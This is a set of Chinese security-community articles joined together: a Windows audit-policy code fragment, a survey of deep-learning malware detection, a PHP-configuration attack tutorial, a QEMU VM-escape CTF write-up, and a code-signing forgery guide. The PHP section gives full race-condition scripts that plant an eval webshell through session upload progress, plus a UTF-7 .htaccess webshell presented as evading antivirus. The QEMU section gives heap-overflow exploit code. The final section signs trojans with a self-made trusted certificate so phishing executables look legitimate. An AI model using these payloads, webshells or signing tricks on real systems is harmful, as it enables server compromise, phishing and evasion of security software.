cout<<tmp<<endl;
case AuditCategoryPolicyChange:
tmp = GET_AUDIT_STR("Audit Policy Change: ",pInfo,i);
cout<<tmp<<endl;
break;
case AuditCategoryPrivilegeUse:
tmp = GET_AUDIT_STR("Audit Privilege Use: ",pInfo,i);
cout<<tmp<<endl;
break;
case AuditCategorySystem:
tmp = GET_AUDIT_STR("Audit System: ",pInfo,i);
cout<<tmp<<endl;
break;
default:
break;
}
}
}
else{
printf("STATUES ERROR %u",status);
}
}
return true;
}
void SET_Audit_Policy(POLICY_AUDIT_EVENT_TYPE eventtype,POLICY_AUDIT_EVENT_OPTIONS eventoption)
{
LSA_HANDLE handle = GetHandle();
POLICY_AUDIT_EVENTS_INFO *AuditEvent ;
NTSTATUS status;
status = LsaQueryInformationPolicy(handle,PolicyAuditEventsInformation,(void **)&AuditEvent);
//AuditEvent->AuditingMode = true;
AuditEvent->EventAuditingOptions[eventtype] = eventoption;
//cout<<"!!!"<<endl;
status = LsaSetInformationPolicy(handle,PolicyAuditEventsInformation,(void *)AuditEvent);
if(status == CMC_STATUS_SUCCESS )
{
cout<<"Set successfully!n";
}
else
{
cout<<"Failed to set!n";
}
}
这里可以看一下运行结果
首先是调用的枚举函数，可以知道除了Account Logon外其他都没被配置（这个是之前测试时配置的）
之后进行配置，这里配置Accoun tManagement并配置为Failure
最后再运行枚举的接口函数，可以发现这时候Account Logon和Account Management都已经被设置为各自的值了
## 4后记
整个流程下来，学习到了很多知识，当然还有很多不足。对于查看MSDN文档然后进行编程我觉得对于我的能力提高有很大帮助，自己目前还是个菜鸟，希望未来能向大牛看齐。 | 社区文章 |
事实证明，机器学习在网络和安全相关领域的应用非常有效。深度学习在语音识别、目标检测、自然语言处理等许多机器学习任务上的性能更佳。本文介绍深度学习在安全领域的一些应用。
Tobiyama提出一种基于进程行为进行恶意进程检测到方法，研究人员利用LSTM（Long Short-Term
Memory，长短期记忆网络）进行特征提取，用CNN（Convolutional Neural
Networks，卷积神经网络）进行特征分类，而进程行为是一系列的API调用序列。特征是从转化为含有本地特征的图片的进程行为日志文件中提取的，这些本地特征表示进程活动。
* * *
Rhode调查了基于行为数据对可执行文件是否恶意文件进行预测。模型使用Cuckoo沙箱来手机PE样本的活动数据。收集的特征有：系统CPU利用率、用户CPU使用、发送的包、收到的包、发送的字节、收到的字节、内存使用、交换区使用、当前运行的进程总数和分配的最大进程ID等。考虑到训练速度的问题，作者选择了GRU（Gated
Recurrent Unit ，门控循环单元）来替代LSTM。
* * *
HeNet是一种基于程序执行控制流特征的分层聚集神经网络。HeNet含有一个低层行为模型和顶层聚集模型。HeNet样本测试的准确率是100%，假阳性率是0%。与传统的机器学习分类相比，HeNet的分类准确率更高。
* * *
Hardy提出一种基于Stacked AutoEncoders（SAE）的恶意软件检测模型。模型会使用收集的PE文件产生的Windows
API调用。如图所示，使用PE解析器从每个文件中提取Windows
API调用。API查询数据库会把API调用转变成对应API函数的32位表示。因此，SAE也被用于特征学习、参数调优和恶意软件检测。该模型的准确率大概是96.85%。
* * *
Hou提出一种基于Linux kernel系统调用和SAE的安卓恶意软件检测框架。使用了一种名为component
travelsal的动态分析方法来对每个给定的安卓应用的代码路径进行自动执行。为了获取系统调用之间的关系，作者构建了一个带权有向图，其中节点代表系统调用，节点的大小表示频率，边表示系统调用的序列流。
* * *
DroidDetector是一款基于安卓恶意软件检测引擎的在线深度学习应用。作者Yuan等通过动态分析和静态分析从每个APP中提取特征，提取的特征分为三类，分别是必须的权限、敏感API和动态行为。DroidDetector的检测准确率大约为96.76%，由于传统的机器学习算法。在静态分析阶段，会对Android-Manifest.xml和classes.dex进行语义分析来得到APP请求的120个权限。动态分析包含在DroidBox中运行每个APP，进行动态标记分类并监控13个APP行为的分析。
论文中使用的深度学习模型包含两个阶段，分别是非监督预训练阶段和有监督反向传播阶段。在预训练阶段，会使用受限Restricted Boltzmann
Machine（RBM，受限玻尔兹曼机）来构建深度置信网络（Deep belief
network，DBN）。在反向传播阶段，会用标记的样本以有监督的方式对预训练的DBN进行调参。
* * *
MtNet是一个多任务的深度学习恶意软件分类架构，该架构会被训练用于两个任务，分别是预测未知文件是否恶意和预测文件是否属于100个家族分类——98个重要的家族、1个通用恶意软件分类和1个善意软件分类。
研究人员用从动态分析中获取的低级特征作为训练阶段的输入，这些特征包括含有参数的API调用事件序列。
* * *
Azmoodeh提出一种深度Eigenspace学习方法来区分恶意和善意IoT应用。研究人员从支持ARM
IoT平台的1078个善意应用和128个恶意应用中提取出OpCode序列。每个样本中被提取的特征会被融合到基于深度神经网络的分类图中。研究人员用Objdump来提取OpCode，然后用n-gram OpCode序列对恶意软件进行分类。研究人员还提出一种类或的分类方法，包含两个阶段，分别是OpCode-Sequence图生成阶段和Deep
Eigensapce学习阶段。
* * *
Kolosnjaji提出一种基于卷积和递归神经网络的恶意软件系统调用序列分类。研究人员将卷积层和递归层融入到同一神经网络中，其中卷积层用于特征提取。系统的输入是60个不同类型的系统调用。研究中使用的数据集来源于Virus
Share、Maltrieve和个人收集。样本的标记是从VirusTotal获取的，然后研究人员用来自不同反病毒软件程序的软件对恶意软件的前面进行聚类。实验结果表明这种方法的平均准确率为85.6%，高于传统的机器学习算法。
* * *
<https://arxiv.org/pdf/1807.04739.pdf> | 社区文章 |
# 谈谈php配置项在渗透中的利用姿势（一）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
php配置项关系到php开发中的方方面面，其中一些选项与安全息息相关，本文将详细讨论php的各项配置对安全的影响。由于php的配置项为数众多，本文将分为若干篇进行谈论。由于本人入行时间较短，水平有限，文中如有不足之处欢迎各位师傅多多指正。
## 0x01 基础知识
**php配置项的访问级别**
不同的php配置项根据其访问级别具有不同的配置方式，根据php手册的描述，有下列四种访问级别，不同的访问级别对应的配置方式如下表：
模式 | 含义
---|---
PHP_INI_USER | 可在用户脚本（例如 `ini_set()`）或 Windows 注册表（自 PHP 5.3
起）以及`.user.ini`中设定
PHP_INI_PERDIR | 可在 `php.ini`、`.user.ini`、`.htaccess`或 `httpd.conf`中设定
PHP_INI_SYSTEM | 可在`php.ini`或`httpd.conf`中设定
PHP_INI_ALL | 可用以上任何方式设定
访问级别实际上是一种掩码表示方式，其中PHP_INI_USER对应1、PHP_INI_PERDIR对应2（即二进制的10）、PHP_INI_SYSTEM对应4（即二进制的100），而PHP_INI_ALL与其字面的意思相符，为所有掩码的集合，为7（即二进制的111）。实际上访问级别除了1、2、4、7以外还有3、5、6的可能性，不过PHP没有给这些访问级别定义常量。
**如何获取某个配置项的访问级别**
获取php配置项的函数为`ini_get_all()`,其函数原型为：
`array ini_get_all ([ string $extension [, bool $details = true ]] )`
第一个参数`extension`为需要获取设置信息的配置项名称。如果设置了，此函数仅仅返回指定该扩展的配置选项，否则返回所有配置项的信息。第二个参数`details`默认为`true`（获取详细信息），设置为`false`时，这个值会是选项的当前值。
当`details`为`true`时,返回信息中将包含各配置项的访问级别。
例如这行代码的输出：`<?php print_r(ini_get_all(null));?>`
Array
(
[allow_url_fopen] => Array
(
[global_value] => 1
[local_value] => 1
[access] => 4
)
[allow_url_include] => Array
(
[global_value] =>
[local_value] =>
[access] => 4
)
...
从中就可以看到`allow_url_fopen`这个选项的访问级别为4，对应PHP_INI_SYSTEM,那么它就只能在`php.ini`或`httpd.conf`中设定，而在程序中使用ini_set(‘allow_url_fopen’,1)强行设置虽然不会报错，但不会生效：
<?php
ini_set('allow_url_fopen',0);
var_dump(ini_get('allow_url_fopen'));
?>
输出：
D:phpstudy_proWWW1.php:4:string '1' (length=1)
获取不同访问级别配置项的脚本如下：
<?php
$arr = ini_get_all();
$req = [];
foreach($arr as $k => $v){
if($v['access'] == 1){ //FUZZ访问级别为1的选项就是1，以此类推
$req[$k] = $v;
}
}
print_r(count($req));
print_r($req);
?>
**补充知识：如何利用Apache 的配置文件（例如`httpd.conf`）和`.htaccess`来修改PHP的配置设定 **
有下列几个`Apache`指令可以使用户在`Apache`配置文件内部修改PHP的配置:
1.`php_value name value`
设定指定的值。只能用于`PHP_INI_ALL`或`PHP_INI_PERDIR`类型的指令。要清除先前设定的值，把`value`设为`none`。
2.`php_flag name on|off`
用来设定布尔值的配置指令。仅能用于`PHP_INI_ALL`和`PHP_INI_PERDIR`类型的指令。
3.`php_admin_value name value`
设定指定的指令的值。不能用于`.htaccess`文件。任何用`php_admin_value`设定的指令都不能被`.htaccess`或`virtualhost`中的指令覆盖。要清除先前设定的值，把`value`设为`none`。
4.`php_admin_flag name on|off`
用来设定布尔值的配置指令。不能用于`.htaccess`文件。任何用
`php_admin_flag`设定的指令都不能被`.htaccess`或`virtualhost`中的指令覆盖。
## 0x02不同访问级别的php配置项
对于以php为后端处理语言的web目标，如果想在php配置项上做文章，必须考虑所要利用的php配置项的访问级别问题。所以，在下文中，把php配置项按照其访问级别来分类讨论,与安全相关不大或难以利用的配置项将只做简单介绍，当然其中一些配置项的利用方式可能较为苛刻，在实际场景中出现的几率不大，不过可能会作为ctf比赛的出题思路。
测试环境：
Ubuntu16.04 x64
Apache版本：Apache/2.4.18
PHP版本：v7.0.33
首先是`access`级别为1的选项,即只能在用户脚本（例如`ini_set()`）或 Windows 注册表（自 PHP 5.3
起）以及`.user.ini`中设定结果的选项，运行脚本的结果为空，也就是说不存在这样的选项。
### access级别为2的php配置项
获取`access`级别为2的选项，即只能在`php.ini`,`.htaccess` 或 `httpd.conf`
中设定的选项，结果共有下列11项（数目可能会略有差别，应该是因为各个环境安装的php扩展不同所致）：
name | global_value | local_value | access
---|---|---|---
mysqlnd.sha256_server_public_key | | | 2
openssl.cafile | | | 2
openssl.capath | | | 2
session.auto_start | 0 | 0 | 2
session.upload_progress.cleanup | 1 | 1 | 2
session.upload_progress.enabled | 1 | 1 | 2
session.upload_progress.freq | 1% | 1% | 2
session.upload_progress.min_freq | 1 | 1 | 2
session.upload_progress.name | PHP_SESSION_UPLOAD_PROGRESS |
PHP_SESSION_UPLOAD_PROGRESS | 2
session.upload_progress.prefix | upload_progress_ | upload_progress_ | 2
zend.multibyte | 0 | 0 | 2
各项的具体作用如下：
1、 `mysqlnd.sha256_server_public_key`:配置指令来允许mysqli使用新的MySQL认证协议。
2、 `openssl.cafile`:在验证SSL/TLS时 系统上 证书颁发机构(CA)本地文件的位置。
3、
`openssl.capath`:如果未指定openssl.cafile或未找到CA文件，则会搜索openssl.capath指向的目录以获取合适的证书。
4、 `session.auto_start`:会话模块是否在请求开始时自动启动一个会话。默认为
0（不启动）。`session.auto_start`通过某种方式设置为1时，即使被访问的php页面中没有`session_start()`语句，也会启动一个session会话并生成session文件，如果此时`session.use_strict_mode`设置为0（默认就是0），那么浏览器端就可以控制`PHPSESSID`的值，使得服务器生成对应的sess文件（例如浏览器端设置`PHPSESSID`的值为`helloworld`,那么服务器端就会生成的sess文件名就是`sess_helloworld`），这本身并不是什么大问题，但是配合下面的一些配置选项却可以达到getshell的效果。
5、`session.upload_progress.cleanup`：一旦读取了所有POST数据，就会清除进度信息
(即上传完成)，与下面要讲的`session.upload_progress.enabled`息息相关。
6、 `session.upload_progress.enabled`:在`$_SESSION`中启用上传进度跟踪,默认开启。
7、 `session.upload_progress.freq`:上传进度应该如何更新。给定以百分比（每个文件）或以字节为单位。
8、`session.upload_progress.min_freq`:更新之间的最小延迟（以秒为单位）。
9、`session.upload_progress.name`:包含上传进度信息的`$_SESSION`中的索引名称(与前缀连接)。当它出现在表单中，php将会报告上传进度，它的值可控；
10、 `session.upload_progress.prefix`:`$_SESSION`用于上传进度的前缀。
在`session.upload_progress.enabled`开启时，当向目标php应用上传文件时，会将文件信息写入session文件（当然前提是目标php启动了session会话，即代码中有session_start()或者session.auto_start配置项为1），由于`session.upload_progress.name`可控(其实上传文件名也是可控的可利用的），就可以向session文件写入恶意代码，如果存在文件包含漏洞，则可以getshell（不过由于`session.upload_progress.cleanup`默认开启，即上传结束我们的恶意代码就会被清除，所以还要利用条件竞态或者自包含崩溃）。
测试环境：
目标网站文件结构：
/var/www/html/
|-- index.php
|
|-- upload
| |-- test.php
| |-- .htaccess
index.php内容任意
test.php中内容如下：
include($_GET[file]);
.htaccess中内容如下(注意要使`.htaccess`生效，apache需要开启rewrite模块)：
php_value session.auto_start 1
session文件存储路径:`/var/lib/php/sessions/`
利用脚本：
#coding:utf-8
import io
import requests
import threading
sessid = 'helloworld'
data = {"cmd":"system('whoami');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post('http://target.com/upload/test.php',data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[cmd]);?>'},files={'file':('test.txt',f)},cookies={'PHPSESSID':sessid})
def read(session):
while True:
resp = session.post('http://target.com/upload/test.php?file=/var/lib/php/sessions/sess_' + sessid,data=data,cookies={'PHPSESSID':sessid})
if 'test.txt' in resp.text:
print(resp.text)
break
else:
print("[+++++++++++++]retry")
event.clear()
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
利用条件竞态包含到的session文件sess_helloworld的内容：
其中圈中部分是命令执行的结果。
稍微总结一下，这种攻击方式所需的条件有以下几点：
（1）存在文件包含漏洞
（2）开启了session存储机制（`session_start()`或者`session.auto_start`设置为1，或者rewrite开启，并可以上传`.htaccess`）
（3）`session.upload_progress.enabled`必须开启，不过这是默认的设置
（4）`session.use_strict_mode`设置为0,可以控制sess文件名，这也是默认的配置
（5）session文件存储路径已知，默认为`/tmp`或者`/var/lib/php/sessions/`
如果将上面场景中的文件包含漏洞代码换成存在可反序列化利用的类，那么就可以造成反序列化漏洞，不过这里要利用上传文件名来构造payload，并且要利用php`session`序列化处理机制的差异性，所以还要用到
`ini_set('session.serialize_handler', 'php_serialize')`或
者`session_start(['serialize_handler'=>'php_serialize'])`或者利用`.htaccess`覆盖`session.serialize_handler`配置项。另外，如果反序列化的类未注册或不在当前访问的php代码的作用域内，那么就要考虑使用内置类或者利用`unserialize_callback_func`配置项来加载类。
这里先简单演示要反序列化类已注册的例子，后面介绍到其他配置项时再介绍类未注册的情况：
测试环境：
目标网站文件结构：
/var/www/html/
|-- index.php
|
|-- upload
| |-- test2.php
| |-- .htaccess
index.php文件内容：
<?php
ini_set('session.serialize_handler','php');
session_start();
class MyTest{
public $str;
public function __destruct(){
eval($this->str);
}
}
test2.php文件内容为空：
.htaccess文件内容：
php_value session.serialize_handler php_serialize
php_value session.auto_start 1
分析：访问`test.php`时，由于`.htaccess`中配置的作用，将启用`session`存储，那么就可以利用上一个场景中的攻击方式向session文件注入`MyTest`对象序列化后的数据，同时利用条件竞态访问`index.php`，由于其中启用了`session_start()`,并且`session`序列化处理方式与访问`test.php`时的不同,就可以触发反序列化漏洞。
利用方式：
构造序列化数据：
<?php
class MyTest{
public $str;
public function __destruct(){
eval($this->str);
}
}
$a = new MyTest();
$a->str = "system('whoami');";
$s = serialize($a);
echo str_replace("O:6:","|O:6:",$s);
//"|O:6:"MyTest":1:{s:3:"str";s:17:"system('whoami');";}"
攻击脚本:
由于python使用request库上传文件时，filename字段的值会被urlencode，导致session中反序列化失败，所以要抓包修改一下，以下脚本用于生成上传文件的包。
import requests
sessid = 'helloworld'
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
proxy = {
'http': '127.0.0.1:8866'
}
filename = "|O:6:"MyTest":1:{s:3:"str";s:17:"system('whoami');";}"
resp = session.post('http://target.com/upload/test2.php',data={'PHP_SESSION_UPLOAD_PROGRESS':'test'},files={'file':(filename,f)},cookies={'PHPSESSID':sessid},proxies=proxy)
将抓取的包中filename字段被urlencode的部分修改回来：
然后送到Intruder模块，用null payload，线程设置为10，保持持续发送，
接下来是访问`index.php`触发反序列化的脚本：
import requests
import threading
sessid = 'helloworld'
def read(session):
while True:
resp = session.post('http://target.com/index.php',cookies={'PHPSESSID':sessid})
if 'www-data' in resp.text:
print(resp.text)
break
else:
print("[+++++++++++++]retry")
event.clear()
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
#for i in range(1,30):
# threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
运行此脚本，触发了MyTest对象的反序列化：
这种攻击方式所需的条件与上一个场景基本相同，不同的地方是要利用session反序列化漏洞需要找到session序列化机制的差异点。
* `zend.multibyte`： 默认为0，设置为1时启用多字节编码的源文件解析,例如需要输出unicode字符的情况就要开启此设置，要使用此功能，必须启用mbstring扩展。
值得一提的是该选项配合`zend.script_encoding`,可以起到极好的webshell免杀效果，例如在开启rewrite模块的apache某个目录下放一个.htaccess文件，其内容如下：
php_value auto_prepend_file "/tmp/1.txt"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
/tmp/1.txt中的内容(UTF7编码后的webshell）：
`+ADw-?php+ACA-eval(+ACQ-+AF8-POST+AFs-1+AF0-)+ADs-?+AD4-`
随后，访问与.htaccess同目录的任意php文件，即可用菜刀连接。
附上1.txt在virscan.org的扫描结果：
一路绿灯。。。
（未完待续，下一篇讨论访问级别为4的配置项）
参考：
[php扩展开发](https://www.php.cn/php-weizijiaocheng-392678.html)
[php.ini 配置选项列表](https://www.php.net/manual/zh/ini.list.php)
[PHP:怎样修改配置设定](https://www.php.net/manual/zh/configuration.changes.php)
[PHP 连接方式介绍以及如何攻击 PHP-FPM](https://forum.90sec.com/t/topic/129)
[无需sendmail：巧用LD_PRELOAD突破disable_functions](https://www.freebuf.com/articles/web/192052.html)
[PHP.ini PHP配置文件中文翻译](https://www.jianshu.com/p/2fe37219f6a5)
[利用session.upload_progress进行文件包含和反序列化渗透](https://www.freebuf.com/vuls/202819.html)
[深入浅出LD_PRELOAD & putenv()](https://www.anquanke.com/post/id/175403)
<https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/> | 社区文章 |
# 0\. 前言
最近接触了一道 qemu 虚拟化逃逸的题目，正好题目比较适合入门，就把接触虚拟化这一块的内容记录下来。
在很多资料里面都会推荐两个非常经典的漏洞，相信大家都看过，就是 phrack 上的这篇 [VM escape - QEMU Case
Study](http://www.phrack.org/papers/vm-escape-qemu-case-study.html)。网上有很多对这篇文章中提到的两个漏洞的分析，我也先占个坑，后续补上。这次就让我们先来看看 WCTF2019 线下的一道
[VirtualHole](https://github.com/0x3f97/vm-exploit/virtualhole)，这是一个堆溢出导致信息泄露并最终劫持控制流的一个漏洞。
# 1\. 环境准备
## 1.1. 准备qemu
从 qemu 官网的下载页面下载 qemu-3.1.0-rc5 版本，更换包含漏洞的文件 megasas.c，然后编译，
参考 [Building QEMU for Linux](https://wiki.qemu.org/Hosts/Linux)。
首先安装依赖，
sudo apt-get install -y zlib1g-dev libglib2.0-dev autoconf libtool libgtk2.0-dev
sudo apt install qemu-kvm
然后是编译，开启 kvm 和 debug 模式，
./configure --enable-kvm --target-list=x86_64-softmmu --enable-debug
注意安全 qemu-kvm 的时候也会安装 qemu 在 /usr/bin 目录下移除，然后安装我们编译的版本
sudo make & make install
然后是启动。
sudo /usr/local/bin/qemu-system-x86_64 -m 2048 -hda Centos7-Guest.img --enable-kvm -device megasas
## 1.2. 配置网络
直接在虚拟机中也可以直接编辑利用代码，这里给和我一样想要配置网络的同学参考，
本机以 Ubuntu 16.04 为例，修改宿主机的 /etc/network/interfaces 添加 br0。
# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback
auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_stp off
bridge_maxwait 0
bridge_fd 0
之后重启宿主机网络，然后虚拟机中修改静态 ip 和宿主机 ip 同一网段就行。然后启动虚拟机的命令修改成：
sudo qemu-system-x86_64 -m 2048 -hda Centos7-Guest.img --enable-kvm -device megasas -net tap -net nic
## 1.3. 调试
ps aux | grep qemu
sudo gdb -p $PID
我在 Ubuntu 16.04 上遇到了 gdb 无法调试的问题，如果有遇到相同问题的同学可以试下在前面编译的时候去掉 PIE。
不过我发现也有其它办法，重新编译最新版本 gdb。
git clone git://sourceware.org/git/binutils-gdb.git
./configure
make -j4
# 2\. 漏洞分析
## 2.1. 漏洞位置
题目在 megasas.c 文件中增加了两百多行代码，并做了标注，我们直接查看漏洞所在的位置。
void megasas_quick_read(mainState *mega_main, uint32_t addr)
{
uint16_t offset;
uint32_t buff_size, size;
data_block *block;
void *buff;
struct{
uint32_t offset;
uint32_t size;
uint32_t readback_addr;
uint32_t block_id;
} reader;
pci_dma_read(mega_main->pci_dev, addr, &reader, sizeof(reader));
offset = reader.offset;
size = reader.size;
block = &Blocks[reader.block_id];
buff_size = (size + offset + 0x7)&0xfff8;
if(!buff_size || buff_size < offset ||
buff_size < size ){
return;
}
if(!block->buffer){
return;
}
buff = calloc(buff_size, 1);
if(size + offset >= block->size){
memcpy(buff + offset, block->buffer, block->size);
}else{
memcpy(buff + offset, block->buffer, size);
}
pci_dma_write(mega_main->pci_dev, reader.readback_addr,
buff + offset, size);
free(buff);
}
漏洞的成因是对 `size + offset` 和 `block->size` 的判断不正确，导致后续 `memcpy` 发生溢出。
漏洞原理很简单（但是找的时候找了半天都没发现 0.0），但是要触发这个漏洞需要知道一点设备交互的基础知识。
可能有的初学者比如像我这样的就需要恶补一点设备驱动的编程基础，比如内核模块的编译。
这里强烈推荐一篇非常优秀的文章 [QEMU 与 KVM
虚拟化安全研究介绍](https://bbs.pediy.com/thread-224371.htm)。
## 2.2. 设备交互
我们先来编写一个 hello world 的内核模块并在虚拟机中编译运行。
hello.c
#include <linux/init.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
static int hello_init(void) {
printk(KERN_ALERT "Hello, world\n");
return 0;
}
static void hello_exit(void) {
printk(KERN_ALERT "hello_exit\n");
}
module_init(hello_init);
module_exit(hello_exit);
Makefile
obj-m := test.o
KERNELDR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
使用 `make` 编译，`sudo insmod hello.ko` 运行。
这样我们成功运行了一个内核模块，那么我们怎么和 megasas 设备进行交互呢，
一般 linux 设备的交互是通过 I/O 端口和 I/O 内存，我查到的资料说在虚拟机中，
当客户机的设备驱动程序发起 IO 请求时，内核 KVM 模块会截获这次请求，
然后经过翻译将本次请求放到内存里的 IO 共享页面，并通知客户机 QEMU 模拟进程
来处理本次请求。
理论可能是这么个理论，具体情况可能要深入分析 qemu 那一套才能弄明白了，
不过这里我们可以先不用管这一套，直接用 I/O 内存存取的方式与其交互。
每个外设都是通过读写其寄存器来控制的。通常一个设备有几个寄存器，
它们位于内存地址空间或者 I/O 地址空间，并且地址是连续的。
现在使用 lshw 命令获取设备信息，
sudo lshw -businfo # 获取设备信息
sudo lshw -C storage
linux 内核提供了很多 I/O 操作，这里直接用对 I/O 内存的 writel 操作，
要到达漏洞代码所在位置的走这个函数。
好了，现在我们的初始 POC 就是这样的：
#include <linux/module.h>
#include <linux/ioport.h>
#include <linux/slab.h>
#include <asm/io.h>
MODULE_LICENSE("GPL");
#define VDA_IOMEM_BASE (0xfeb80000)
int m_init(void)
{
printk("m_init\n");
void * piomem = ioremap(VDA_IOMEM_BASE, 0x1000);
writel(0x41, piomem+4); // set size
iounmap(piomem);
return 0;
}
void m_exit(void)
{
printk("m_exit\n");
}
module_init(m_init);
module_exit(m_exit);
做了这么些准备工作之后可以开始对题目进行分析了，首先是题目设定的一个关键
结构体 `frame_header`，它的定义如下。
typedef struct _frame_header{
uint32_t size;
uint32_t offset;
void *frame_buff;
void (*get_flag)(void *dst);
void (*write)(void *dst, void *src, uint32_t size);
uint32_t reserved[56];
} frame_header;
然后我们可以自由的分配不超过 `0x80000` 大小的 block，使用 `pci_dma_read/write`
和 `frame_buff` 进行数据传输，通过 `megasas_framebuffer_store/readback` 在 `frame_buff`
和 block 之间进行数据的传输从而做更多的交互。大概了解了我们可以怎样和 megasas 设备做交互，
现在我们要实现触发漏洞，并用这个堆溢出做点事情。
# 3\. 漏洞利用
## 3.1. 利用思路
要进行合理的堆布局，才能让堆溢出覆盖到有用的位置，信息泄露获取 get_flag 函数地址，
再覆盖函数指针劫持控制流。第一步是进行堆布局，让 `megasas_quick_read` 函数分配的 buff
与 `frame_header` 相邻，继而使 `buff` 溢出覆盖 `frame_header` 的 `size` 字段，
这样 `frame_buff` 就可以读取到 `header` 中的 `get_flag`，再覆盖 `write` 函数指针
就大功告成了。
## 3.2. 堆布局
实现利用有两个关键点，一个是堆内存的布局，一个是覆盖数据的构造，而只有实现合理的内存布局
才能达到想要的效果。我们先来看信息泄露的内存布局。
首先连续分配大块的内存进行占位，
`size` 可以弄得大一点才好占位，只要小于 `0x80000` 就行，然后先释放其中一个 Block，
再预留足够大小的空间重新分配，给之后要分配的 `frame_header` 和 `frame_buff` 占位。
刚开始在进行堆布局实验的时候是在 18.04 上操作的，就发现不论怎么占位，
`header` 和 `frame_buff` 都凑不到一块去0.0，然后换了 16.04 就一次成功了，
看来 18.04 上的堆内存分配还是多了些弯弯绕绕啊。现在直接释放掉 `0x110`
和 `0x210` 大小的 block 让 `header` 和 `frame_buff` 占上来，接着释放掉 `0x310`
的 block 让堆溢出的 `buff` 占上来整个堆布局就完成了。
## 3.3. 信息泄露
接下来就是构造 buff 的数据了，通过 `pci_dma_read` 把我们构造的数据传到 `frame_buff` 上，
struct {
uint32_t offset;
uint32_t size;
uint32_t readback_addr;
uint32_t block_id;
uint64_t heapheader[2];
uint32_t hsize;
uint32_t hoffset;
} *reader = kzalloc(0x1000, GFP_KERNEL);
reader->offset = 0x100-0x40+0x18;
reader->size = 0x200+0x40-0x18;
...
reader->heapheader[0] = 0;
reader->heapheader[1] = 0x115;
reader->hsize = 0x200+0x310+0x10+0x20;
writel(virt_to_phys(reader)+0x10+0x18-0x200, piomem+4*8);
覆盖 `header` 的 `size` 字段，使 `frame_buff` 可以读到 `header` 上的数据，
`frame_buff` 的堆地址和 `get_flag` 函数的地址。
## 3.4. 劫持控制流
由于每次传输数据时对 `frame_buff` 的 `size` 做了校验，只有等于 `0x200` 的时候才能通过校验，
所以我们要再进行二次覆盖，来劫持函数指针。先释放掉原来的 `frame_header` 和 `frame_buff`，
重新分配一次进行占位，庆幸还是原来的布局，再来一次。
writel(0, piomem+0x4*5);
writel(0, piomem+0x4*4);
这次带上 `frame_buff` 的地址，还有 `get_flag`，
reader->hframe_buff = fheader_buff_addr;
reader->hwrite = fheader_get_flag_addr;
最后调用一下 `header->write` 就大功告成了，完整 exp 在 [github](https://github.com/0x3f97/vm-exploit/virtualhole/poc.c) 上。
# 总结
首先感谢出题人带来这么棒的一道题，让如此菜的我得以一窥虚拟化安全的大门，这是很有趣的一个方向。
总的来说漏洞原理不是很难，但是要写出利用得了解虚拟化那一套东西，菜鸡如我就在这一步踩了许久的坑 QAQ，
总之继续加油，后面希望能够学习更多虚拟化安全的知识！
## 参考资料
* [VM escape - QEMU Case Study](http://www.phrack.org/papers/vm-escape-qemu-case-study.html)
* [QEMU 与 KVM 虚拟化安全研究介绍](https://bbs.pediy.com/thread-224371.htm) | 社区文章 |
# 强签名伪造
## 前言
上周五有个朋友问我uac认证那个发布人能不能伪造，我问他伪造这玩意干啥，他说可以让钓鱼的exe更真实一点。
## 签名的作用
在当前零信任的互联网中，网站上充斥着大量钓鱼软件，普通网民无法识别这些恶意软件，但好在浏览器和计算机会帮你识别一些做工比较“粗糙”的钓鱼软件，作为攻击方我们不能指望用户“无脑”去点击下载这些已经被提示危险的软件，而对软件进行证书强签名就是为了解决这个问题。
已下是一些未签名的软件，浏览器的下载提示：
以下是我做的加载uac认证的微信客户端程序（未签名）
而有签名的uac是这样的：
颜色都不一样怎么骗人！！！
## 实验1(no)
伪造签名可能很多人第一时间想到的是 **sigthief.py**
，我之前一直也是用这个对我木马进行签名的，有时候只是单独用这个伪造一个微软签名也是能过某些杀软的（删掉），但事实证明这方法不太行。(可能是我把事情想太简单了)
//usage
python3 sigthief.py -i 要伪造的证书软件 -t 未签名的软件 -o 输出的文件名
这是我伪造某数字杀软证书的对比
## 实验2(yes)
//需要的工具
makecert.exe
cert2spc.exe
pvk2pfx.exe
signtool.exe
certmgr.exe
Windows SDK默认包含以上工具
SDK下载地址：https://www.microsoft.com/en-us/download/details.aspx?id=8279
### 0x01 生成一个自签名的根证书
1、makecert.exe -n "CN=Root" -r -sv Root.pvk Root.cer
2、然后自己随便设置一个私钥，我这里设置为123456
### 0x02 使用这个证书签发一个子证书
1、makecert.exe -n "CN=Child" -iv Root.pvk -ic Root.cer -sv Root.pvk Root.cer -sky signature
2、Subject Key为123456/Issuer Signature 为123456
### 0x03 公钥证书格式转换成SPC
cert2spc.exe Root.cer Root.spc
### 0x04 将公钥证书和私钥合并成一个PFX格式的证书文件
pvk2pfx.exe -pvk Root.pvk -pi 123456 -spc Root.spc -pfx Root.pfx -f
### 0x05 为木马签名
signtool sign /f Root.pfx /p 123456 rubt.exe
**注意：这里如果直接用cmd运行signtool可能会报如下错误：** (我在虚拟机的cmd中直接执行成功了)
> signtool sign /f Root.pfx /p 123456 rubt.exe
SignTool Error: No certificates were found that met all the given criteria.
解决方法使用 **vs开发人员命令提示符工具**
### 0x06 导入证书
//普通权限
certmgr.exe -add -c Root.cer -s -r currentUser root
//管理员权限
certmgr.exe -add -c Root.cer -s -r localmachine root
### 0x07 实验结果
生成木马后，加载uac认证，最后再导入证书
注：不能先导入证书再加载uac认证，否则会签名失效(至于如何给任意exe加uac认证，这里提示是使用windows自带的mt.exe)
## 思考
